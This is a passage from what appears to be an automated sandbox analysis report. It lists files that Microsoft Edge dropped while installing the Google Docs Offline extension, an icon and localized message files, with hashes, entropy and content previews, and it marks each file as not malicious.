MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
